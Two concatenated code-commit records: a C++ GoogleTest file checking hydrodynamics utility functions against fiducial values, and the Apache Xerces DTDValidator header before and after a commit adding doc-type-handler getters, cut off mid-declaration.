   std::vector<double> vx {1.0378624601e-100, 1.0829278656e2, 1.0800514112e100};\n        std::vector<double> vy {1.0583469014e-100, 1.0283073464e2, 1.0725717864e100};\n        std::vector<double> vz {1.0182972216e-100, 1.0417748226e2, 1.0855352639e100};\n        std::vector<double> mx {0.2340416681e-100, 0.1019429453e2, 0.5062596954e100};\n        std::vector<double> my {0.9924582299e-100, 0.1254780684e2, 0.5939640992e100};\n        std::vector<double> mz {0.6703192739e-100, 0.5676716066e2, 0.2115881803e100};\n        std::vector<double> E {20.9342082433e-90, 20.9976906577e10, 20.9487120853e300};\n        std::vector<double> P {2.2244082909e-100, 8.6772951021e2, 6.7261085663e100};\n        std::vector<double> n {1.0087201154e-100, 1.0756968986e2, 1.0882403847e100};\n        std::vector<double> ge {1.0087201154e-100, 1.0756968986e2, 1.0882403847e100};\n        std::vector<std::string> names{\"Small number case\", \"Medium number case\", \"Large number case\"};\n    };\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressurePrimitive, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ps {1e-20, 139983415580.5549, 1.2697896247496674e+301};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ps = hydro_utilities::Calc_Pressure_Primitive(parameters.E.at(i), parameters.d.at(i), parameters.vx.at(i), parameters.vy.at(i), parameters.vz.at(i), parameters.gamma);\n\n        testingUtilities::checkResults(fiducial_Ps.at(i), test_Ps, parameters.names.at(i));\n    }\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressureConserved, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ps {1e-20, 139984604373.87094, 1.3965808056866668e+301};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ps = hydro_utilities::Calc_Pressure_Conserved(parameters.E.at(i), parameters.d.at(i), parameters.mx.at(i), parameters.my.at(i), parameters.mz.at(i), parameters.gamma);\n\n        testingUtilities::checkResults(fiducial_Ps.at(i), test_Ps, parameters.names.at(i));\n    }\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcTemp, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ts {10335643.97340712, 37808388.612783447, 28968949.83344138};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ts = hydro_utilities::Calc_Temp(parameters.P.at(i), parameters.n.at(i));\n\n        testingUtilities::checkResults(fiducial_Ts.at(i), test_Ts, parameters.names.at(i));\n    }\n}\n\n#ifdef DE\nTEST(tHYDROSYSTEMHydroUtilsCalcTempDE, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ts {3.1519051484164999e-94, 336118467.45898658, 3.4003787759209402e+106};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ts = hydro_utilities::Calc_Temp_DE(parameters.d.at(i), parameters.ge.at(i), parameters.gamma, parameters.n.at(i));\n\n        testingUtilities::checkResults(fiducial_Ts.at(i), test_Ts, parameters.names.at(i));\n    }\n}\n#endif \/\/ DE\n\nTEST(tHYDROSYSTEMHydroUtilsCalcEnergyPrimitive, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Es {3.1519051484164999e-94, 336118467.45898658, 3.4003787759209402e+106};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Es = hydro_utilities::Calc_Energy_Primitive(parameters.P.at(i), parameters.d.at(i), parameters.vx.at(i), parameters.vy.at(i), parameters.vz.at(i), parameters.gamma);\n\n        testingUtilities::checkResults(fiducial_Es.at(i), test_Es, parameters.names.at(i));\n    }\n}<commit_msg>add test for primitive energy  utility function<commit_after>\/*!\n * \\file hyo_utilities_tests.cpp\n * \\author Robert 'Bob' Caddy (rvc@pitt.edu), Helena Richie (helenarichie@pitt.edu)\n * \\brief Tests for the contents of hydro_utilities.h and hydro_utilities.cpp\n *\n *\/\n\n\/\/ STL Includes\n#include <vector>\n#include <string>\n#include <iostream>\n\n\/\/ External Includes\n#include <gtest\/gtest.h>    \/\/ Include GoogleTest and related libraries\/headers\n\n\/\/ Local Includes\n#include \"..\/utils\/testing_utilities.h\"\n#include \"..\/utils\/hydro_utilities.h\"\n#include \"..\/global\/global.h\"\n\n\/*!\n* INDEX OF VARIABLES\n* P : pressure\n* vx, vy, vz : x, y, and z velocity\n* d : density\n* E : energy\n* T : temperature\n* mx, my, mz : x, y, and z momentum\n* n : number density\n*\/\n\n\/\/ =============================================================================\n\/\/ Local helper functions\n\nnamespace\n{\n    struct TestParams\n    {\n        double gamma = 5.\/3.;\n        std::vector<double> d {1.0087201154e-100, 1.0756968986e2, 1.0882403847e100};\n        std::vector<double> vx {1.0378624601e-100, 1.0829278656e2, 1.0800514112e100};\n        std::vector<double> vy {1.0583469014e-100, 1.0283073464e2, 1.0725717864e100};\n        std::vector<double> vz {1.0182972216e-100, 1.0417748226e2, 1.0855352639e100};\n        std::vector<double> mx {0.2340416681e-100, 0.1019429453e2, 0.5062596954e100};\n        std::vector<double> my {0.9924582299e-100, 0.1254780684e2, 0.5939640992e100};\n        std::vector<double> mz {0.6703192739e-100, 0.5676716066e2, 0.2115881803e100};\n        std::vector<double> E {20.9342082433e-90, 20.9976906577e10, 20.9487120853e300};\n        std::vector<double> P {2.2244082909e-100, 8.6772951021e2, 6.7261085663e100};\n        std::vector<double> n {1.0087201154e-100, 1.0756968986e2, 1.0882403847e100};\n        std::vector<double> ge {1.0087201154e-100, 1.0756968986e2, 1.0882403847e100};\n        std::vector<std::string> names{\"Small number case\", \"Medium number case\", \"Large number case\"};\n    };\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressurePrimitive, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ps {1e-20, 139983415580.5549, 1.2697896247496674e+301};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ps = hydro_utilities::Calc_Pressure_Primitive(parameters.E.at(i), parameters.d.at(i), parameters.vx.at(i), parameters.vy.at(i), parameters.vz.at(i), parameters.gamma);\n\n        testingUtilities::checkResults(fiducial_Ps.at(i), test_Ps, parameters.names.at(i));\n    }\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressureConserved, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ps {1e-20, 139984604373.87094, 1.3965808056866668e+301};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ps = hydro_utilities::Calc_Pressure_Conserved(parameters.E.at(i), parameters.d.at(i), parameters.mx.at(i), parameters.my.at(i), parameters.mz.at(i), parameters.gamma);\n\n        testingUtilities::checkResults(fiducial_Ps.at(i), test_Ps, parameters.names.at(i));\n    }\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcTemp, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ts {10335643.97340712, 37808388.612783447, 28968949.83344138};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ts = hydro_utilities::Calc_Temp(parameters.P.at(i), parameters.n.at(i));\n\n        testingUtilities::checkResults(fiducial_Ts.at(i), test_Ts, parameters.names.at(i));\n    }\n}\n\n#ifdef DE\nTEST(tHYDROSYSTEMHydroUtilsCalcTempDE, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Ts {3.1519051484164999e-94, 336118467.45898658, 3.4003787759209402e+106};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Ts = hydro_utilities::Calc_Temp_DE(parameters.d.at(i), parameters.ge.at(i), parameters.gamma, parameters.n.at(i));\n\n        testingUtilities::checkResults(fiducial_Ts.at(i), test_Ts, parameters.names.at(i));\n    }\n}\n#endif \/\/ DE\n\nTEST(tHYDROSYSTEMHydroUtilsCalcEnergyPrimitive, CorrectInputExpectCorrectOutput) {\n    TestParams parameters;\n    std::vector<double> fiducial_Es {3.1519051484164999e-94, 1784507.7619407175, 1.9018677140549926e+300};\n\n    for (size_t i = 0; i < parameters.names.size(); i++)\n    {\n        Real test_Es = hydro_utilities::Calc_Energy_Primitive(parameters.P.at(i), parameters.d.at(i), parameters.vx.at(i), parameters.vy.at(i), parameters.vz.at(i), parameters.gamma);\n\n        testingUtilities::checkResults(fiducial_Es.at(i), test_Es, parameters.names.at(i));\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n * \n * Copyright (c) 1999-2000 The Apache Software Foundation.  All rights \n * reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n * \n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * \n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n * \n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache\\@apache.org.\n * \n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n * \n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n * \n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.4  2000\/02\/24 20:16:49  abagchi\n * Swat for removing Log from API docs\n *\n * Revision 1.3  2000\/02\/09 21:42:38  abagchi\n * Copyright swat\n *\n * Revision 1.2  2000\/01\/12 23:52:48  roddey\n * These are trivial changes required to get the C++ and Java versions\n * of error messages more into sync. Mostly it was where the Java version\n * was passing out one or more parameter than the C++ version was. In\n * some cases the change just required an extra parameter to get the\n * needed info to the place where the error was issued.\n *\n * Revision 1.1.1.1  1999\/11\/09 01:03:36  twl\n * Initial checkin\n *\n * Revision 1.5  1999\/11\/08 20:45:41  rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\n#if !defined(DTDVALIDATOR_HPP)\n#define DTDVALIDATOR_HPP\n\n#include <util\/RefHashTableOf.hpp>\n#include <util\/NameIdPool.hpp>\n#include <util\/StringPool.hpp>\n#include <framework\/XMLValidator.hpp>\n#include <validators\/DTD\/DTDElementDecl.hpp>\n#include <validators\/DTD\/DTDEntityDecl.hpp>\n\nclass ContentSpecNode;\nclass DocTypeHandler;\nclass XMLMsgLoader;\n\n\n\/\/\n\/\/  This is a derivative of the abstract validator interface. This class\n\/\/  implements a validator that supports standard XML 1.0 DTD semantics.\n\/\/  This class handles scanning the internal and external subsets of the\n\/\/  DTD, and provides the standard validation services against the DTD info\n\/\/  it found.\n\/\/\n\/\/  NOTE: DTDs are not namespace aware, so we just use regular NameIdPool\n\/\/  data structures to store element and attribute decls. They are all set\n\/\/  to be in the global namespace and the full QName is used as the base name\n\/\/  of the decl. This means that all the URI parameters below are expected\n\/\/  to be null pointers (and anything else will cause an exception.)\n\/\/\nclass VALIDATORS_EXPORT DTDValidator : public XMLValidator\n{\npublic:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Class specific types\n    \/\/\n    \/\/  NOTE: This should really be private, but some of the compilers we\n    \/\/  have to support cannot understand that.\n    \/\/\n    \/\/  EntityExpRes\n    \/\/      Returned from scanEntityRef() to indicate how the expanded text\n    \/\/      was treated.\n    \/\/ -----------------------------------------------------------------------\n    enum EntityExpRes\n    {\n        EntityExp_Failed\n        , EntityExp_Pushed\n        , EntityExp_Returned\n    };\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Constructors and Destructor\n    \/\/ -----------------------------------------------------------------------\n    DTDValidator(XMLErrorReporter* const errReporter = 0);\n    virtual ~DTDValidator();\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Getter methods\n    \/\/ -----------------------------------------------------------------------\n    NameIdPoolEnumerator<DTDElementDecl> getElemEnumerator() const;\n    NameIdPoolEnumerator<DTDEntityDecl> getEntityEnumerator() const;\n    NameIdPoolEnumerator<XMLNotationDecl> getNotationEnumerator() const;\n    unsigned int getRootElemId() const;\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Setter methods\n    \/\/ -----------------------------------------------------------------------\n    void setDocTypeHandler\n    (\n            DocTypeHandler* const handlerToSet\n    );\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Implementation of the XMLValidator interface\n    \/\/ -----------------------------------------------------------------------\n    virtual int addOrFindNSId\n    (\n        const   XMLCh* const    uriText\n    );\n\n    virtual int checkContent\n    (\n        const   unsigned int    elemId\n        , const unsigned int*   childIds\n        , const unsigned int    childCount\n    );\n\n    virtual bool checkRootElement\n    (\n        const   unsigned int    elemId\n    );\n\n    virtual void faultInAttr\n    (\n                XMLAttr&    toFill\n        , const XMLAttDef&  attDef\n    )   const;\n\n    virtual const XMLElementDecl* findElemDecl\n    (\n        const   unsigned int    uriId\n        , const XMLCh* const    baseName\n        , const XMLCh* const    qName\n        , const LookupOpts      options\n        ,       bool&           wasAdded\n    )   const;\n\n    virtual XMLElementDecl* findElemDecl\n    (\n        const   unsigned int    uriId\n        , const XMLCh* const    baseName\n        , const XMLCh* const    qName\n        , const LookupOpts      options\n        ,       bool&           wasAdded\n    );\n\n    virtual const XMLEntityDecl* findEntityDecl\n    (\n        const   XMLCh* const    entName\n        , const bool            isPE\n    )   const;\n\n    virtual XMLEntityDecl* findEntityDecl\n    (\n        const   XMLCh* const    entName\n        , const bool            isPE\n    );\n\n    virtual unsigned int findElemId\n    (\n        const   unsigned int    uriId\n        , const XMLCh* const    baseName\n        , const XMLCh* const    qName\n    )   const;\n\n    virtual const XMLNotationDecl* findNotationDecl\n    (\n        const   XMLCh* const    notName\n    )   const;\n\n    virtual XMLNotationDecl* findNotationDecl\n    (\n        const   XMLCh* const    notName\n    );\n\n    virtual unsigned int findNSId\n    (\n        const   XMLCh* const    nsName\n    )   const;\n\n    virtual const XMLElementDecl* getElemDecl\n    (\n        const   unsigned int    elemId\n    )   const;\n\n    virtual XMLElementDecl* getElemDecl\n    (\n        const   unsigned int    elemId\n    );\n\n    virtual bool getURIText\n    (\n        const   unsigned int    uriId\n        ,       XMLBuffer&      uriBufToFill\n    )   const;\n\n    virtual void postParseValidation();\n\n    virtual void reset();\n\n    virtual bool requiresNamespaces() const;\n\n    virtual void validateAttrValue\n    (\n        const   XMLAttDef&                  attDef\n        , const XMLCh* const                attrValue\n    );\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  DTD specific pool methods. Many of the virtual interface methods\n    \/\/  above just call this one, passing along the qName (which is all that\n    \/\/  we deal with in this validator.\n    \/\/ -----------------------------------------------------------------------\n    unsigned int findElemId\n    (\n        const   XMLCh* const    qName\n    )   const;\n\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Virtual DTD handler interface. If handlesDTD() returns true, then\n    \/\/  scanDocTypeDecl() will be called when a DOCTYPE is seen. The passed\n    \/\/  message loader and reader manager are really internal stuff but they\n    \/\/  are required to process the DTD external and internal subset.\n    \/\/ -----------------------------------------------------------------------\n    virtual bool handlesDTD() const;\n    virtual void scanDTD(const bool reuseValidator);\n\n\nprivate:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Unimplemented constructors and operators\n    \/\/ -----------------------------------------------------------------------\n    DTDValidator(const DTDValidator&);\n    void operator=(const DTDValidator&);\n\n\nprivate:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private class types\n    \/\/ -----------------------------------------------------------------------\n    enum IDTypes\n    {\n        IDType_Public\n        , IDType_External\n        , IDType_Either\n    };\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private DTD scanning methods. These are all in XMLValidator2.cpp\n    \/\/ -----------------------------------------------------------------------\n    bool checkForPERef\n    (\n        const   bool    spaceRequired\n        , const bool    inLiteral\n        , const bool    inMarkup\n        , const bool    throwEndOfExt = false\n    );\n    bool expandPERef\n    (\n        const   bool    scanExternal\n        , const bool    inLiteral\n        , const bool    inMarkup\n        , const bool    throwEndOfExt = false\n    );\n    bool getQuotedString(XMLBuffer& toFill);\n    XMLAttDef* scanAttDef(DTDElementDecl& elemDecl, XMLBuffer& bufToUse);\n    bool scanAttValue\n    (\n        const   XMLCh* const        attrName\n        ,       XMLBuffer&          toFill\n        , const XMLAttDef::AttTypes type\n    );\n    void scanAttListDecl();\n    ContentSpecNode* scanChildren\n    (\n        const   DTDElementDecl&     elemDecl\n        ,       XMLBuffer&          bufToUse\n    );\n    bool scanCharRef(XMLCh& toFill, XMLCh& second);\n    void scanComment();\n    bool scanContentSpec(DTDElementDecl& toFill);\n    void scanDefaultDecl(DTDAttDef& toFill);\n    void scanDocTypeDecl(const bool reuseValidator);\n    void scanElementDecl();\n    void scanEntityDecl();\n    bool scanEntityDef();\n    bool scanEntityLiteral(XMLBuffer& toFill, const bool isPE);\n    bool scanEntityDef(DTDEntityDecl& decl, const bool isPEDecl);\n    EntityExpRes scanEntityRef(XMLCh& firstCh, XMLCh& secondCh, bool& escaped);\n    bool scanEnumeration\n    (\n        const   DTDAttDef&  attDef\n        ,       XMLBuffer&  toFill\n        , const bool        notation\n    );\n    bool scanEq();\n    void scanExtSubsetDecl(const bool inIncludeSect);\n    bool scanId\n    (\n                XMLBuffer&  pubIdToFill\n        ,       XMLBuffer&  sysIdToFill\n        , const IDTypes     whatKind\n    );\n    void scanIgnoredSection();\n    bool scanInternalSubset();\n    void scanMarkupDecl(const bool parseTextDecl);\n    bool scanMixed(DTDElementDecl& toFill);\n    void scanNotationDecl();\n    void scanPI();\n    bool scanPublicLiteral(XMLBuffer& toFill);\n    bool scanSystemLiteral(XMLBuffer& toFill);\n    void scanTextDecl();\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private data members\n    \/\/\n    \/\/  fDocTypeHandler\n    \/\/      This holds the optional doc type handler that can be installed\n    \/\/      and used to call back for all markup events. It is DTD specific.\n    \/\/\n    \/\/  fDumAttDef\n    \/\/  fDumElemDecl\n    \/\/  fDumEntityDecl\n    \/\/      These are dummy objects into which mark decls are parsed when\n    \/\/      they are just overrides of previously declared markup decls. In\n    \/\/      such situations, the first one wins but we need to have somewhere\n    \/\/      to parse them into. So these are lazily created and used as needed\n    \/\/      when such markup decls are seen.\n    \/\/\n    \/\/  fElemDeclPool\n    \/\/      This is the element decl pool. It contains all of the elements\n    \/\/      declared in the DTD (and their associated attributes.) When in\n    \/\/      non-validating mode, its just populated as new elements are seen\n    \/\/      and they are given default characteristics.\n    \/\/\n    \/\/  fEntityDeclPool\n    \/\/      This is a pool of EntityDecl objects, which contains all of the\n    \/\/      general entities that are declared in the DTD subsets.\n    \/\/\n    \/\/  fInternalSubset\n    \/\/      This is used to track whether we are in the internal subset or not,\n    \/\/      in which case we are in the external subset.\n    \/\/\n    \/\/  fNextAttrId\n    \/\/      Since att defs are per-element, we don't have a validator wide\n    \/\/      attribute def pool. So we use a simpler data structure in each\n    \/\/      element decl to store its att defs, and we use this simple counter\n    \/\/      to apply a unique id to each new attribute.\n    \/\/\n    \/\/  fNotationDeclPool\n    \/\/      This is a pool of NotationDecl objects, which contains all of the\n    \/\/      notations declared in the DTD subsets.\n    \/\/\n    \/\/  fPEntityDeclPool\n    \/\/      This is a pool of EntityDecl objects, which contains all of the\n    \/\/      parameter entities that are declared in the DTD subsets.\n    \/\/\n    \/\/  fRootElemId\n    \/\/      The id of the root element that we found in the DOCTYPE statement.\n    \/\/      Its initialized to ContentModel::fgInvalidElemId, so that its\n    \/\/      invalid unless we have a DOCTYPE.\n    \/\/\n    \/\/  fURIStringPool\n    \/\/      Each validator is required to maintain a pool for URIs. It has\n    \/\/      to be able to assign unique ids for URIs. We use a standard string\n    \/\/      pool class.\n    \/\/ -----------------------------------------------------------------------\n    DocTypeHandler*                 fDocTypeHandler;\n    DTDAttDef*                      fDumAttDef;\n    DTDElementDecl*                 fDumElemDecl;\n    DTDEntityDecl*                  fDumEntityDecl;\n    NameIdPool<DTDElementDecl>*     fElemDeclPool;\n    NameIdPool<DTDEntityDecl>*      fEntityDeclPool;\n    bool                            fInternalSubset;\n    unsigned int                    fNextAttrId;\n    NameIdPool<XMLNotationDecl>*    fNotationDeclPool;\n    NameIdPool<DTDEntityDecl>*      fPEntityDeclPool;\n    unsigned int                    fRootElemId;\n    XMLStringPool                   fURIStringPool;\n};\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  DTDValidator: Getter methods\n\/\/ ---------------------------------------------------------------------------\ninline NameIdPoolEnumerator<DTDElementDecl>\nDTDValidator::getElemEnumerator() const\n{\n    return NameIdPoolEnumerator<DTDElementDecl>(fElemDeclPool);\n}\n\ninline NameIdPoolEnumerator<DTDEntityDecl>\nDTDValidator::getEntityEnumerator() const\n{\n    return NameIdPoolEnumerator<DTDEntityDecl>(fEntityDeclPool);\n}\n\ninline NameIdPoolEnumerator<XMLNotationDecl>\nDTDValidator::getNotationEnumerator() const\n{\n    return NameIdPoolEnumerator<XMLNotationDecl>(fNotationDeclPool);\n}\n\ninline unsigned int DTDValidator::getRootElemId() const\n{\n    return fRootElemId;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  DTDValidator: Setter methods\n\/\/ ---------------------------------------------------------------------------\ninline void DTDValidator::setDocTypeHandler(DocTypeHandler* const handlerToSet)\n{\n    fDocTypeHandler = handlerToSet;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  DTDValidator: DTD handler interface\n\/\/ ---------------------------------------------------------------------------\ninline bool DTDValidator::handlesDTD() const\n{\n    \/\/ We definitely want to handle DTD scanning\n    return true;\n}\n\n#endif\n<commit_msg>Added a getter for the doc type handler.<commit_after>\/*\n * The Apache Software License, Version 1.1\n * \n * Copyright (c) 1999-2000 The Apache Software Foundation.  All rights \n * reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n * \n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * \n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n * \n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache\\@apache.org.\n * \n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n * \n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n * \n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.5  2000\/04\/06 19:00:07  roddey\n * Added a getter for the doc type handler.\n *\n * Revision 1.4  2000\/02\/24 20:16:49  abagchi\n * Swat for removing Log from API docs\n *\n * Revision 1.3  2000\/02\/09 21:42:38  abagchi\n * Copyright swat\n *\n * Revision 1.2  2000\/01\/12 23:52:48  roddey\n * These are trivial changes required to get the C++ and Java versions\n * of error messages more into sync. Mostly it was where the Java version\n * was passing out one or more parameter than the C++ version was. In\n * some cases the change just required an extra parameter to get the\n * needed info to the place where the error was issued.\n *\n * Revision 1.1.1.1  1999\/11\/09 01:03:36  twl\n * Initial checkin\n *\n * Revision 1.5  1999\/11\/08 20:45:41  rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\n#if !defined(DTDVALIDATOR_HPP)\n#define DTDVALIDATOR_HPP\n\n#include <util\/RefHashTableOf.hpp>\n#include <util\/NameIdPool.hpp>\n#include <util\/StringPool.hpp>\n#include <framework\/XMLValidator.hpp>\n#include <validators\/DTD\/DTDElementDecl.hpp>\n#include <validators\/DTD\/DTDEntityDecl.hpp>\n\nclass ContentSpecNode;\nclass DocTypeHandler;\nclass XMLMsgLoader;\n\n\n\/\/\n\/\/  This is a derivative of the abstract validator interface. This class\n\/\/  implements a validator that supports standard XML 1.0 DTD semantics.\n\/\/  This class handles scanning the internal and external subsets of the\n\/\/  DTD, and provides the standard validation services against the DTD info\n\/\/  it found.\n\/\/\n\/\/  NOTE: DTDs are not namespace aware, so we just use regular NameIdPool\n\/\/  data structures to store element and attribute decls. They are all set\n\/\/  to be in the global namespace and the full QName is used as the base name\n\/\/  of the decl. This means that all the URI parameters below are expected\n\/\/  to be null pointers (and anything else will cause an exception.)\n\/\/\nclass VALIDATORS_EXPORT DTDValidator : public XMLValidator\n{\npublic:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Class specific types\n    \/\/\n    \/\/  NOTE: This should really be private, but some of the compilers we\n    \/\/  have to support cannot understand that.\n    \/\/\n    \/\/  EntityExpRes\n    \/\/      Returned from scanEntityRef() to indicate how the expanded text\n    \/\/      was treated.\n    \/\/ -----------------------------------------------------------------------\n    enum EntityExpRes\n    {\n        EntityExp_Failed\n        , EntityExp_Pushed\n        , EntityExp_Returned\n    };\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Constructors and Destructor\n    \/\/ -----------------------------------------------------------------------\n    DTDValidator(XMLErrorReporter* const errReporter = 0);\n    virtual ~DTDValidator();\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Getter methods\n    \/\/ -----------------------------------------------------------------------\n    NameIdPoolEnumerator<DTDElementDecl> getElemEnumerator() const;\n    NameIdPoolEnumerator<DTDEntityDecl> getEntityEnumerator() const;\n    NameIdPoolEnumerator<XMLNotationDecl> getNotationEnumerator() const;\n    unsigned int getRootElemId() const;\n    DocTypeHandler* getDocTypeHandler();\n    const DocTypeHandler* getDocTypeHandler() const;\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Setter methods\n    \/\/ -----------------------------------------------------------------------\n    void setDocTypeHandler\n    (\n            DocTypeHandler* const handlerToSet\n    );\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Implementation of the XMLValidator interface\n    \/\/ -----------------------------------------------------------------------\n    virtual int addOrFindNSId\n    (\n        const   XMLCh* const    uriText\n    );\n\n    virtual int checkContent\n    (\n        const   unsigned int    elemId\n        , const unsigned int*   childIds\n        , const unsigned int    childCount\n    );\n\n    virtual bool checkRootElement\n    (\n        const   unsigned int    elemId\n    );\n\n    virtual void faultInAttr\n    (\n                XMLAttr&    toFill\n        , const XMLAttDef&  attDef\n    )   const;\n\n    virtual const XMLElementDecl* findElemDecl\n    (\n        const   unsigned int    uriId\n        , const XMLCh* const    baseName\n        , const XMLCh* const    qName\n        , const LookupOpts      options\n        ,       bool&           wasAdded\n    )   const;\n\n    virtual XMLElementDecl* findElemDecl\n    (\n        const   unsigned int    